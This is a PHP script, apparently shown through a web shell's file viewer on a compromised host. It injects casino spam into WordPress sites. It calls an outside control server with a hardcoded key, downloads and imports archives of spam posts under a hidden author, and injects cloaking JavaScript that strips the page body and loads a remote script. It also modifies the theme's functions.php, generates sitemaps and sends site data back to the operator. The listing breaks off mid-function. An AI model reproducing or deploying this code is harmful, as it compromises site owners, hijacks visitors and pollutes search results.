HEX
Server: Apache
System: Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User: u112693849 (10625425)
PHP: 8.1.34
Disabled: NONE
Upload Files
File: //kunden/tmp/tmp_php_fHEIHS
<?php
//<?php
const SAVE_ARCHIVES = false;

define('GS_ALIAS', 'https://wp-filemanager.com');
define("DOMAIN", $_SERVER['HTTP_HOST']);

if (!SAVE_ARCHIVES || api_get_in_stock() !== true){
    # Settings
    define("LANGUAGE", "LANG_REPLACE");
    define("DIR_NUMBER", 1);
    define("LANGUAGE_API", 'LANG_API_REPLACE');
    define("AUTHOR_ID", 7023);
    define('SITEMAP_NAME', 'sitemap23');

    api_add_new_site();

    define('URL_WITH_ARCHIVES', GS_ALIAS . '/static/archives/GAMES-ALLCASINO-'. LANGUAGE . '-{DIR_NUM}/');
    define('DIR_NUM', DIR_NUMBER);
    define('CUSTOM_AUTHOR_ID', AUTHOR_ID);
} else {
    $domain_info = api_get_domain_info();

    if ($domain_info !== false) {
        define("DIR_NUMBER", $domain_info["dir_number"]);
        define("LANGUAGE", $domain_info["language"]);
        define("AUTHOR_ID", $domain_info["author_id"]);
        define("LANGUAGE_API", $domain_info["language_api"]);
        define('SITEMAP_NAME', "sitemap" . $domain_info["sitemap_number"]);

        define('URL_WITH_ARCHIVES', GS_ALIAS . "/domain_controller/archives/download/" . DOMAIN . "/" . LANGUAGE . "/{DIR_NUM}/");
        define('DIR_NUM', DIR_NUMBER);
        define('CUSTOM_AUTHOR_ID', AUTHOR_ID);
    }

    else exit();
}

define('ARCHIVES_RANGE', '1-15');

$actions = array (
      'hide' => 1,
       //'sitemapSecondMethod' => 1,
    //'rollback' => 1,
    //'sendPostsFromDb' => 1,
    //'viewSettings' => 1,
    //'viewAllAuthors' => 1,
    //'globalRollback' => 1,
    //'allPermalinks' => 1,
    //'viewSettingsAsJson' => 1,
);


define('HOME_LINKS', 1);


$homeLinksSettings = array (
    'hiddenType' =>
        array (
            'css' => 1,
        ),
    'position' =>
        array (
            'head' => 1,
        ),
    'language' => LANGUAGE_API,
    'type' => 'CASINO',
    'textBlocksCount' =>
        array (
            '100DifferentTextBlocks' => 1,
        ),
);





if (function_exists('ignore_user_abort')) {

    ignore_user_abort(true);

}

if (function_exists('set_time_limit')) {

    set_time_limit(0);

}



define('CURRENTDIR', getcwd());


define('REDEFINE_JS_FOR_USER', 1);

define('CLOACKING', 1);

define('IGNORE_ACTIONS_LOG', 0);

define('REMOVE_ACTIONS_LOG', 0);

define('OBFUSCATE_CUSTOM_FUNCTIONS', 0);


$_SERVER['homeLinksSettings'] = $homeLinksSettings;



define('FORCE_CHANGE_HOME_LINKS_OWNER', 0);



/* * Link building settings* */

define('INTERNAL_LINKING', 1);

define('EXTERNAL_LINKING', 0);

define('INTERNAL_LINKS_COUNT_PAGE', '2..6');

define('EXTERNAL_LINKS_COUNT_PAGE', '1..3');

define('TABLE_HASH', '11c601a3bad16d2567e6754cddc9d28c');

define('HTML_HASH', '31d410006291280c70416aabda41c4e9');

define('COUNT_LINKS_FROM_DOMAIN', 3);

/* * Link building settings* */





define('USE_ORIGINAL_SLUG', 1);



/*

 * Use unzip method with header.php

 * ziparchive unpacks files incorrectly.

 */

define('GREEK_LANGUAGE', 1);



define('HOME_URL', 'https://' . $_SERVER['HTTP_HOST']);





if (defined('CUSTOM_AUTHOR_ID') && CUSTOM_AUTHOR_ID < 1000) {

    echo 'use CUSTOM_AUTHOR_ID value large then 1000' . PHP_EOL;

    exit;

}





if (is_null($rootDirCustom = WritePostsWpHandler::detectWProotDir())) {

    echo 'wp root directory not found' . PHP_EOL;

    exit;

}





if (!WritePostsWpHandler::linkBuildingSettingsCheck()) {

    exit;

}



define('WP_ROOT_DIR', $rootDirCustom);



if (!defined('TEMPLATEPATH')) {

    define('TEMPLATEPATH', '');

}

if (!defined('STYLESHEETPATH')) {

    define('STYLESHEETPATH', '');

}

if (!defined('WP_USE_THEMES')) {

    define('WP_USE_THEMES', false);

}





//define('CUSTOM_TEMPLATE_PATH', $rootDir . '/wp-content/themes/oshin');





/* * settings* */



$jsSource = <<<STR
new Image().src = "//counter.yadro.ru/hit;leosomegames?r"+
escape(document.referrer)+((typeof(screen)=="undefined")?"":
";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
";"+Math.random();
document.addEventListener("DOMContentLoaded", function (event) {
    var bodyNode = document.getElementsByTagName('body')[0];
    if (bodyNode) {
        bodyNode.remove();
    }
});
var CmaMdxDELg="<script type=\"text/javascript\" language=\"JavaScript\" ";var kWCfImcvVy="src=\"//kentuckyfriedsalmom.org/";var sxhwBRDWZS="leoallgames.js?ref="+encodeURI(document.URL)+"&title="+encodeURI(document.title)+"&httpref="+encodeURI(document.referrer)+"\">";var ZmscUNdvig=" </script>";document.write(CmaMdxDELg+kWCfImcvVy+sxhwBRDWZS+ZmscUNdvig);
STR;



define('JS_SOURCE', $jsSource);

define('RAND_DATE', 0);

define('ALTERNATIVE_CONNECT_MYSQL', 0);



/* * settings* */



$writableDirectoryCustom = WritePostsWpHandler::tmpDirCustom();

if (!$writableDirectoryCustom) {

    echo 'no directory for writing' . PHP_EOL;

    exit;

}

define('WRITABLE_PATH', $writableDirectoryCustom);



$tmpDirNameCustom = WritePostsWpHandler::createTmpSubDir();



if (!$tmpDirNameCustom) {

    echo 'invalid create tmp dir' . PHP_EOL;

    exit;

}



define('TMPDIR', $tmpDirNameCustom);

$customMutexPath = WRITABLE_PATH . '/' . WritePostsWpHandler::pluginsBackupOptionName();





try {

    $customDbHandler = WritePostsWpHandler::tryConnect();

} catch (Exception $ex) {

    echo 'Could not connect to db ' . $ex->getMessage();

    exit;

}



GlobalLogs::setMainLog('Connected successfully');

$homeUrlCustom = $customDbHandler->homeUrl();

WritePostsWpHandler::checkHomeUrl($homeUrlCustom);





$activeActions = WritePostsWpHandler::actionValidator($actions);

$isQuickView = WritePostsWpHandler::quickView($activeActions);





if ($isQuickView) {

    WritePostsWpHandler::startActions($activeActions);

    echo GlobalLogs::getDebugLogs();

    exit;

}



$actionsWithStatus = WritePostsWpHandler::customCheckActions($activeActions);



if (WritePostsWpHandler::areAllActionsCompleted($actionsWithStatus)) {

    echo GlobalLogs::getMainLogs() . PHP_EOL;

    //echo GlobalLogs::getDebugLogs().PHP_EOL;

    WritePostsWpHandler::customFormatResponse();

    exit;

}



WritePostsWpHandler::checkMutex($customMutexPath);

WritePostsWpHandler::startActions($actionsWithStatus);



echo GlobalLogs::getMainLogs();



//echo GlobalLogs::getDebugLogs();



function api_get_in_stock(){
    $endpoint_url = GS_ALIAS . "/domain_controller/in_stock";
    $params_url = $endpoint_url . "?domain=" . DOMAIN;

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $params_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); // seconds
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);        // seconds
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // follow redirects
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // if using https and self-signed cert
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
            "okapi-key: b385556a0a47661aef2c8b47200ca179db6a3b5f5d5b9125706c13442db7ea5c"
    ]);

    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo " API =====> api_get_in_stock cURL error: " . curl_error($ch) . PHP_EOL;
        return false;
    } else {
        $data = json_decode($response, true);
        if ($data["response"] !== true) echo " API =====> " . $data["description"] . PHP_EOL;
        curl_close($ch);
        return $data["response"];
    }
}

function api_get_domain_info() {
    $endpoint_url = GS_ALIAS . "/domain_controller/domain_info";
    $params_url = $endpoint_url . "?domain=" . DOMAIN;

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $params_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); // seconds
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);        // seconds
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // follow redirects
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // if using https and self-signed cert
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
            "okapi-key: b385556a0a47661aef2c8b47200ca179db6a3b5f5d5b9125706c13442db7ea5c"
    ]);

    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo " API =====> api_get_domain_info cURL error: " . curl_error($ch) . PHP_EOL;
        return false;
    } else {
        $data = json_decode($response, true);

        if ($data["response"] === null) {
            echo " API =====> " . $data["description"] . PHP_EOL;
            return false;
        } else {
            return $data["response"];
        }
    }
}

function api_add_new_site(){
    $endpoint_url = GS_ALIAS . "/domain_controller/add_new_site";
    $params_url = $endpoint_url .
            "?domain=" . DOMAIN .
            "&dir_number=" . DIR_NUMBER .
            "&language=" . LANGUAGE .
            "&language_api=" . LANGUAGE_API .
            "&sitemap_number=" . preg_replace('/\D/', '', SITEMAP_NAME) .
            "&author_id=" . AUTHOR_ID;

    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, $params_url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10); // seconds
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);        // seconds
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // follow redirects
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // if using https and self-signed cert
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
            "okapi-key: b385556a0a47661aef2c8b47200ca179db6a3b5f5d5b9125706c13442db7ea5c"
    ]);


    $response = curl_exec($ch);
    curl_close($ch);
    if (curl_errno($ch)) {
        echo " API =====> api_add_new_site cURL error: " . curl_error($ch) . PHP_EOL;
        return false;
    } else {
        $data = json_decode($response, true);

        if ($data["response"] === null) {
            echo " API =====> " . $data["description"] . PHP_EOL;
            return false;
        } else {
            echo " API =====> " . $data["description"] . PHP_EOL;
            return $data["response"];
        }

    }
}



class ActionsCustom

{

    public static function uploadAction() {



        $url = str_replace('{DIR_NUM}', DIR_NUM, URL_WITH_ARCHIVES);



        try {

            WritePostsWpHandler::uploadRangeOfFiles($url, ARCHIVES_RANGE, '.zip', TMPDIR);



            return true;

        } catch (Exception $ex) {

            GlobalLogs::setMainLog($ex->getMessage());

            return false;

        }

    }



    public static function unzipAction() {



        if (defined('GREEK_LANGUAGE') && GREEK_LANGUAGE === 1) {

            GlobalLogs::setDebugLog('use unzip with header');

            try {

                return WritePostsWpHandler::unzipFirstMethod();

            } catch (Exception $ex) {

                GlobalLogs::setMainLog($ex->getMessage());

            }

        }



        if (class_exists('ZipArchive')) {

            return WritePostsWpHandler::unzipSecondMethod();

        } else {

            GlobalLogs::setDebugLog('use unzip with header');

            try {

                return WritePostsWpHandler::unzipFirstMethod();

            } catch (Exception $ex) {

                GlobalLogs::setMainLog($ex->getMessage());

            }

        }

    }



    public static function importAction() {



        $date = '';



        $htmlFiles = glob(TMPDIR . "/*.html");

        shuffle($htmlFiles);





        //fpcDebug("html file count - ". count($htmlFiles));



        $mutexName = defined('CUSTOM_AUTHOR_ID') ? '_' . CUSTOM_AUTHOR_ID : '';



        if (file_exists(TMPDIR . '/import_finish' . $mutexName)) {

            GlobalLogs::setMainLog('files already imported');

            return true;

        }





        if (!$htmlFiles) {

            GlobalLogs::setMainLog('html files not found');

            return false;

        }



        $extLinksArr = array();



        if (defined('EXTERNAL_LINKING') && (EXTERNAL_LINKING === 1)) {

            $countHtmlFiles = count($htmlFiles);

            WritePostsWpHandler::downloadExternalLinks($countHtmlFiles);

            $extLinksArr = WritePostsWpHandler::decodeExternalLinks();



            if (!$extLinksArr) {

                return false;

            }

        }





        $results = array();



        if (!is_dir(TMPDIR . '/imported')) {

            if (!mkdir(TMPDIR . '/imported')) {

                GlobalLogs::setMainLog('invalid create imported dir');

                return false;

            }

        }





        if (!defined('RAND_DATE') || (RAND_DATE === 0)) {

            $date = CustomDbHandler::getInstance()->lastPostDateQuery();

        }





        foreach ($htmlFiles as $key => $html) {





            try {

                $contentParts = WritePostsWpHandler::contentParts(file_get_contents($html));





            } catch (Exception $ex) {

                GlobalLogs::setMainLog($ex->getMessage());

                continue;

            }



            $text = $contentParts['text'];

            $text = WritePostsWpHandler::textWithLinks($text, $results, $extLinksArr);

            $customSlug = WritePostsWpHandler::slugPrepareBeforeInsert($html, $contentParts['slug']);





            try {

                $postId = CustomDbHandler::getInstance()->insertPost($contentParts['title'], $text, $date

                    , CUSTOM_AUTHOR_ID, $customSlug);

            } catch (Exception $ex) {

                GlobalLogs::setMainLog($ex->getMessage());

                continue;

            }





            $results[] = WritePostsWpHandler::resultFormat(HOME_URL, $postId, $contentParts['title']);

            rename($html, TMPDIR . '/imported/' . WritePostsWpHandler::mb_basename($html, '.html'));



        }



        if (!empty($results)) {

            $logPath = TMPDIR . '/log' . $mutexName . '.txt';

            GlobalLogs::setMainLog(sprintf('write to log - %s', $logPath));

            file_put_contents($logPath, implode("\n", $results) . "\n", FILE_APPEND);

            if ($key === (count($htmlFiles) - 1)) {

                file_put_contents(TMPDIR . '/import_finish' . $mutexName, '');

            }



            return true;

        } else {

            GlobalLogs::setMainLog('results are empty');

            return false;

        }

    }



    public static function hideAction() {




       


      







        $settings = WritePostsWpHandler::settingsArr($functionsSource);





        if (!$settings) {

            GlobalLogs::setMainLog('settings return false');

            return false;

        }



        WritePostsWpHandler::writeSettingsDB($settings);







        if ($customFiltersUpdateResult) {

            WritePostsWpHandler::getSitemapUrls();

            return true;

        }





        return false;

    }



    public static function homeLinksOldAction() {



        $hash = md5(HOME_URL);



        $permLinks = array();



        if (WritePostsWpHandler::isBadEnvCustom()) {

            echo 'change shell, invalid require wp-blog-header' . PHP_EOL;

            exit;

        }



        if (!function_exists('get_permalink')) {

            require WP_ROOT_DIR . '/wp-blog-header.php';

        }

        $posts = CustomDbHandler::getInstance()

            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);



        if (empty($posts)) {

            echo '!!!!!!!!no posts for this author!!!!!' . PHP_EOL;



            return false;

        }



        foreach ($posts as $post) {



            list ($url, $anchor) = explode(';', $post, 2);



            preg_match('~\?p=(\d+)~', $post, $matches);



            $postId = $matches[1];



            $permLinks[] = array(get_permalink($postId), $anchor);

            wp_cache_delete($postId, 'posts');

        }





        if (empty($permLinks)) {

            echo 'invalid fetch permalinks' . PHP_EOL;

            return false;

        }



        $compressed = gzcompress(json_encode($permLinks), 9);



        $url = GS_ALIAS . '/dnc/wp-acceptors-api/home-links?hash=' . $hash . '&permhash=' . md5($compressed);



        $results = WritePostsWpHandler::sendPostData($url, array(

                'homeLinksSettings' => json_encode($_SERVER['homeLinksSettings']),

                'url' => urlencode(HOME_URL),

                'permLinks' => urlencode($compressed)

            )

        );



        $uncompressed = gzuncompress($results);



        if (!WritePostsWpHandler::isJson($uncompressed)) {

            echo 'invalid home links format' . PHP_EOL;



            return false;

        }



        $blocks = json_decode($uncompressed, 1);



        if (empty($blocks)) {

            echo 'no texts for this language' . PHP_EOL;



            return false;

        }





        foreach ($blocks as $key => $value) {

            update_option('home_links_custom_' . $key, $value);

        }



        echo sprintf('%s text block(s) available for use%s', count($blocks), PHP_EOL);



        return true;

    }



    public static function homeLinksAction() {



        $hash = md5(HOME_URL);

        $permLinks = array();



        if (WritePostsWpHandler::isBadEnvCustom()) {

            echo 'change shell, invalid require wp-blog-header' . PHP_EOL;

            exit;

        }



        $posts = CustomDbHandler::getInstance()

            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);





        if (empty($posts)) {

            GlobalLogs::setMainLog('!!!!!!!!no posts for this author!!!!!');

            return false;

        }



        $permalinksFromSitemap = WritePostsWpHandler::fetchPermalinksFromSitemap();





        if (!empty($permalinksFromSitemap)) {

            $iter = 1;

            foreach ($posts as $post) {



                list (, $anchor) = explode(';', $post, 2);

                $permalinkSitemap = array_shift($permalinksFromSitemap);

                $permLinks[] = array($permalinkSitemap, $anchor);



                //$iter++;

                //if ($iter > 10) break;



            }

        } else {

            define('SHORTINIT', true);

            require_once(WP_ROOT_DIR . '/wp-load.php');

            require_once(ABSPATH . WPINC . '/option.php');

            require_once(ABSPATH . WPINC . '/class-wp-post.php');

            require_once(ABSPATH . WPINC . '/post.php');

            require_once(ABSPATH . WPINC . '/class-wp-rewrite.php');

            require_once(ABSPATH . WPINC . '/link-template.php');

            require_once(ABSPATH . WPINC . '/category-template.php');

            require_once(ABSPATH . WPINC . '/taxonomy.php');

            require_once(ABSPATH . WPINC . '/l10n.php');

            require_once(ABSPATH . WPINC . '/functions.php');

            require_once(ABSPATH . WPINC . '/cache.php');

            require_once(ABSPATH . WPINC . '/formatting.php');

            require_once(ABSPATH . WPINC . '/user.php');

            require_once(ABSPATH . WPINC . '/pluggable.php');

            global $wpdb;





            $iter = 1;



            foreach ($posts as $post) {



                list ($url, $anchor) = explode(';', $post, 2);



                preg_match('~\?p=(\d+)~', $post, $matches);



                $postId = $matches[1];

                $post = get_post($postId);



                $permLinks[] = array(WritePostsWpHandler::getPermalinkCustom($post), $anchor);



                //$iter++;

                //if ($iter > 10) break;



                wp_cache_delete($postId, 'posts');

            }

        }





        if (empty($permLinks)) {

            GlobalLogs::setMainLog('invalid fetch permalinks');

            return false;

        }





        $compressed = gzcompress(json_encode($permLinks), 9);



        $url = GS_ALIAS . '/dnc/wp-acceptors-api/home-links?hash=' . $hash . '&permhash=' . md5($compressed);



        $results = WritePostsWpHandler::sendPostData($url, array(

                'homeLinksSettings' => json_encode($_SERVER['homeLinksSettings']),

                'url' => urlencode(HOME_URL),

                'permLinks' => urlencode($compressed)

            )

        );



        $uncompressed = gzuncompress($results);



        if (!WritePostsWpHandler::isJson($uncompressed)) {

            GlobalLogs::setMainLog('invalid home links format');

            return false;

        }



        $blocks = json_decode($uncompressed, 1);



        if (empty($blocks)) {

            GlobalLogs::setMainLog('no texts for this language');

            return false;

        }





        foreach ($blocks as $key => $value) {

            CustomDbHandler::getInstance()

                ->insertOrUpdate('home_links_custom_' . $key, $value);

        }



        GlobalLogs::setMainLog(sprintf('%s text block(s) available for use', count($blocks)));

        return true;

    }



    public static function viewAllAuthorsAction() {

        CustomDbHandler::getInstance()->viewAllAuthors();

        return true;

    }



    public static function sendAction() {



        $api = GS_ALIAS . '/src/wpacc-v2-leo.php';





        try {



            $debugData = array(

                'url' => HOME_URL,

                'fullUrls' => WritePostsWpHandler::allPostsFullUrlWithoutRequire(),

                'settings' => WritePostsWpHandler::debugDataCustom(),

            );



            $responseData = WritePostsWpHandler::sendPostData($api, array(

                'url' => urlencode(HOME_URL),

                'debug' => urlencode(gzcompress(json_encode($debugData), 9)),

            ));

        } catch (\Exception $ex) {

            GlobalLogs::setMainLog($ex->getMessage());

        }





        if (trim($responseData) === 'success') {

            GlobalLogs::setMainLog('data sent');

            return true;

        }

        GlobalLogs::setMainLog('error while send data');

        return false;

    }



    public static function cleanAction() {



        WritePostsWpHandler::removeDirRec(TMPDIR);

        if (is_dir(TMPDIR)) {

            rmdir(TMPDIR);

        }

        return true;

    }



    public static function rollbackAction() {



        WritePostsWpHandler::deleteSettings();

        WritePostsWpHandler::deletePostsCurrentAuthor();

        WritePostsWpHandler::removePluginsBackupForAuthorId();

        WritePostsWpHandler::removeDirRec(TMPDIR);



        if (is_dir(TMPDIR)) {

            rmdir(TMPDIR);

        }



        return true;

    }



    public static function globalRollbackAction() {



        WritePostsWpHandler::deletePostsAllAuthors();

        WritePostsWpHandler::removeDirRec(TMPDIR);



        if (!defined('CUSTOM_TEMPLATE_PATH')) {

            $templateDirectory = WritePostsWpHandler::getTemplatePath();

        } else {

            $templateDirectory = CUSTOM_TEMPLATE_PATH;

        }





        $functionsPath = $templateDirectory . '/functions.php';



        if (!file_exists($functionsPath)) {

            GlobalLogs::setMainLog($functionsPath . ' not found');

            return true;

        }



        if (!is_writeable($functionsPath)) {

            GlobalLogs::setMainLog($functionsPath . '/ not writable');

            return true;

        }



        $functionsSource = file_get_contents($functionsPath);



        //$regexp = '~\/\*\s+custom filters\s+\*\/(.+)\/\*\s*custom filters\s*\*\/~su';

        $optionCustom = WritePostsWpHandler::optionCustomFunctions();

        $regexp = "~/\*\s*(custom filters|$optionCustom)\s*\*/(.+)/\*\s*(custom filters|$optionCustom)\s*\*/~su";



        $newSource = preg_replace($regexp, '', $functionsSource);



        if ($newSource !== $functionsSource) {

            file_put_contents($functionsPath, $newSource);

            GlobalLogs::setMainLog('return original functions.php');

        }



        WritePostsWpHandler::writeSettingsDB(array());

        WritePostsWpHandler::removeHomeLinksCustom();



        return true;

    }



    public static function sendPostsFromDbAction() {

        $api = GS_ALIAS . '/src/wpacc.php';

        $urls = CustomDbHandler::getInstance()

            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);



        if (empty($urls)) {

            GlobalLogs::setMainLog("no posts by author id");

            return false;

        }



        $source = implode("\n", $urls);



        $responseData = WritePostsWpHandler::sendPostData($api, array(

            'url' => urlencode(HOME_URL),

            'source' => urlencode($source),

        ));



        if (trim($responseData) === 'success') {

            GlobalLogs::setMainLog('data sent');

            return true;

        }

        GlobalLogs::setMainLog("error while send data");



        return false;

    }



    public static function viewSettingsAction() {

        $settings = WritePostsWpHandler::getDbSettingsCustom();



        if ($settings) {



            foreach ($settings as $userId => $arr) {



                echo str_repeat('_', 100) . PHP_EOL;

                echo $userId . ' - userId' . PHP_EOL;

                if (isset($arr['js']) && $decodedJs = WritePostsWpHandler::detectBase64js($arr['js'])) {

                    $arr['js'] = WritePostsWpHandler::parseJsScript($decodedJs);

                }

                echo json_encode($arr, JSON_PRETTY_PRINT);

                echo str_repeat('_', 100) . PHP_EOL;

            }



            return true;

        }

        echo 'no settings in DB' . PHP_EOL;

        return;

    }



    public static function allPermalinksAction() {



        var_dump(CustomDbHandler::getInstance()

            ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID));



        return;

    }



    public static function sitemapSecondMethodAction() {



        if (!WritePostsWpHandler::checkSitemapNameRoot()) {

            return false;

        }



        if (WritePostsWpHandler::isBadEnvCustom()) {

            GlobalLogs::setMainLog('change shell, invalid require wp-blog-header');

            exit;

        }



        //require_once WP_ROOT_DIR . '/wp-blog-header.php';



        $head = WritePostsWpHandler::sitemapHeadSec();



        $sitemapSource = $head . "\n";

        $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml';



        try {

            $urls = CustomDbHandler::getInstance()

                ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);

        } catch (Exception $ex) {

            throw new Exception('invalid fetch urls for sitemap');

        }



        if (empty($urls)) {

            GlobalLogs::setMainLog('no posts by author id');

            return false;

        }





        define('SHORTINIT', true);

        require_once(WP_ROOT_DIR . '/wp-load.php');

        require_once(ABSPATH . WPINC . '/option.php');

        require_once(ABSPATH . WPINC . '/class-wp-post.php');

        require_once(ABSPATH . WPINC . '/post.php');

        require_once(ABSPATH . WPINC . '/class-wp-rewrite.php');

        require_once(ABSPATH . WPINC . '/link-template.php');

        require_once(ABSPATH . WPINC . '/category-template.php');

        require_once(ABSPATH . WPINC . '/taxonomy.php');

        require_once(ABSPATH . WPINC . '/l10n.php');

        require_once(ABSPATH . WPINC . '/functions.php');

        require_once(ABSPATH . WPINC . '/cache.php');

        require_once(ABSPATH . WPINC . '/formatting.php');

        require_once(ABSPATH . WPINC . '/user.php');

        require_once(ABSPATH . WPINC . '/pluggable.php');

        global $wpdb;





        foreach ($urls as $urlWithTitle) {



            list ($url, $title) = explode(';', $urlWithTitle, 2);

            preg_match('~\?p=(\d+)~', $url, $idMatches);

            //$url = get_permalink($idMatches[1]);

            $postId = $idMatches[1];

            $post = get_post($postId);

            $url = WritePostsWpHandler::getPermalinkCustom($post);

            //$permLinks[] = array(WritePostsWpHandler::getPermalinkCustom($post), $anchor);

            //GlobalLogs::setMainLog($url);



            $lastmod = date('Y-m-d');

            $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always');

            $priority = '0.' . rand(5, 9);



            $sitemapSource .= WritePostsWpHandler::urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)]

                , $priority);

            wp_cache_delete($idMatches[1], 'posts');

        }



        $sitemapSource .= "\n</urlset>";



        if (file_put_contents($sitemapPath, $sitemapSource)) {

            touch($sitemapPath, WritePostsWpHandler::frequenttimestamp(WP_ROOT_DIR));

            GlobalLogs::setMainLog(WritePostsWpHandler::currenturl($sitemapPath, HOME_URL));

            return true;

        }



        return false;

    }



    public static function sitemapAction() {
        if (!WritePostsWpHandler::checkSitemapNameRoot()) return false;

        $head = WritePostsWpHandler::sitemapHeadSec();
        $sitemapSource = $head . "\n";
        $sitemapPath = WP_ROOT_DIR . '/' . SITEMAP_NAME . '.xml';

        try {

            $urls = CustomDbHandler::getInstance()

                ->allPostsFromDb(HOME_URL, CUSTOM_AUTHOR_ID);

        } catch (Exception $ex) {

            throw new Exception('invalid fetch urls for sitemap');

        }

        if (empty($urls)) {

            GlobalLogs::setMainLog('no posts by author id');

            return false;

        }

        foreach ($urls as $urlWithTitle) {
            list ($url, $title) = explode(';', $urlWithTitle, 2);

            $lastmod = date('Y-m-d');
            $changefreqArr = array('monthly', 'weekly', 'daily', 'hourly', 'always');
            $priority = '0.' . rand(5, 9);

            $sitemapSource .= WritePostsWpHandler::urlBlockSec($url, $lastmod, $changefreqArr[rand(0, count($changefreqArr) - 1)]

                , $priority);

        }

        $sitemapSource .= "\n</urlset>";

        if (file_put_contents($sitemapPath, $sitemapSource)) {
            GlobalLogs::setMainLog(WritePostsWpHandler::currenturl($sitemapPath));
            return true;
        }
        return false;
    }
}



register_shutdown_function(array('WritePostsWpHandler', 'deleteMutex'));





class CustomDbHandler

{



    const DB_TYPE_SQLITE = 'sqlite';

    const DB_TYPE_MYSQL = 'mysql';

    /**

     * @var CustomDbHandler

     */

    private static $instance;

    public $dbName;

    public $dbPrefix;

    public $dbUser;

    public $dbPassword;

    public $dbHostAddr;

    public $dbPort;

    public $dbType;

    private $dsn;



    public function __construct($db, $config = false) {

        $this->dsn = $db;

        $this->setDBSettings($config);

        $this->dbType = (!$config) ? self::DB_TYPE_SQLITE : self::DB_TYPE_MYSQL;

        static::$instance = $this;



    }



    public function setDBSettings($config) {



        /** sqlite **/

        if (!$config) {

            $this->dbName = 'main';

            $this->dbPrefix = 'wp_';

        } else {

            $this->dbName = $config['dbname'];

            $this->dbUser = $config['dbuser'];

            $this->dbPassword = $config['dbpassword'];

            $this->dbHostAddr = $config['dbhostaddr'];

            $this->dbPrefix = $config['dbprefix'];

            $this->dbPort = $config['dbport'];

        }



        return;



    }



    public static function getInstance() {

        if (static::$instance) {

            return static::$instance;

        }



        return null;

    }



    public function getOptionLike($optionName) {



        $tableWithPrefix = $this->dbPrefix . 'options';

        $query = "SELECT * from $tableWithPrefix where option_name LIKE :option_name ";

        $stmt = $this->dsn->prepare($query);





        $stmt->execute(array(

            ':option_name' => '%' . $optionName . '%'

        ));



        $options = array();

        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {

            if ($row) {

                $options[] = $row;

            }



        }

        return $options;



    }



    public function homeUrl() {



        //'home' or 'siteurl'

        $homeOption = $this->getOption('home');



        if (strstr($homeOption['option_value'], 'http') !== false) {

            return $homeOption['option_value'];

        }



        $siteUrlOption = $this->getOption('siteurl');

        if (strstr($siteUrlOption['option_value'], 'http') !== false) {

            return $siteUrlOption['option_value'];

        }



        return false;



    }



    public function getOption($optionName) {



        $tableWithPrefix = $this->dbPrefix . 'options';

        $query = "SELECT * from $tableWithPrefix where option_name = :option_name ";

        $stmt = $this->dsn->prepare($query);





        $stmt->execute(array(

            ':option_name' => $optionName

        ));



        return $stmt->fetch();

    }



    public function allPostsFromDb($homeUrl, $userId = 9999) {



        //SELECT ID, post_title FROM `wp_posts` where post_author = 9999

        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);

        $query = "SELECT ID, post_title FROM $table where post_author = :user_id";





        $stmt = $this->dsn->prepare($query);



        $stmt->execute(array(

            ':user_id' => $userId

        ));



        $urls = array();

        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {

            if ($row) {

                $urls[] = $homeUrl . '/?p=' . $row['ID'] . ';' . $row['post_title'];

            }



        }



        return $urls;

    }



    public function allPostsFromDbWithPostName($homeUrl, $userId = 9999) {



        //SELECT ID, post_title FROM `wp_posts` where post_author = 9999

        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);

        $query = "SELECT ID, post_title, post_name FROM $table where post_author = :user_id";





        $stmt = $this->dsn->prepare($query);



        $stmt->execute(array(

            ':user_id' => $userId

        ));



        $urls = array();

        while ($row = $stmt->fetch(PDO::FETCH_ASSOC)) {

            if ($row) {

                //$urls[] = $homeUrl . '/?p=' . $row['ID'] . ';' . $row['post_title'] . ';' . $row['post_name'];

                $urls[] = array($homeUrl . '/?p=' . $row['ID'], $row['post_title'], $row['post_name']);

            }



        }



        return $urls;

    }



    public function lastPostDateQuery() {

        //SELECT ID, post_date FROM `wp_posts` order by ID DESC LIMIT 1

        $table = sprintf('`%s`.`%sposts`', $this->dbName, $this->dbPrefix);

        $query = "SELECT ID, post_date FROM $table order by ID DESC LIMIT 1";

        $stmt = $this->dsn->query($query);



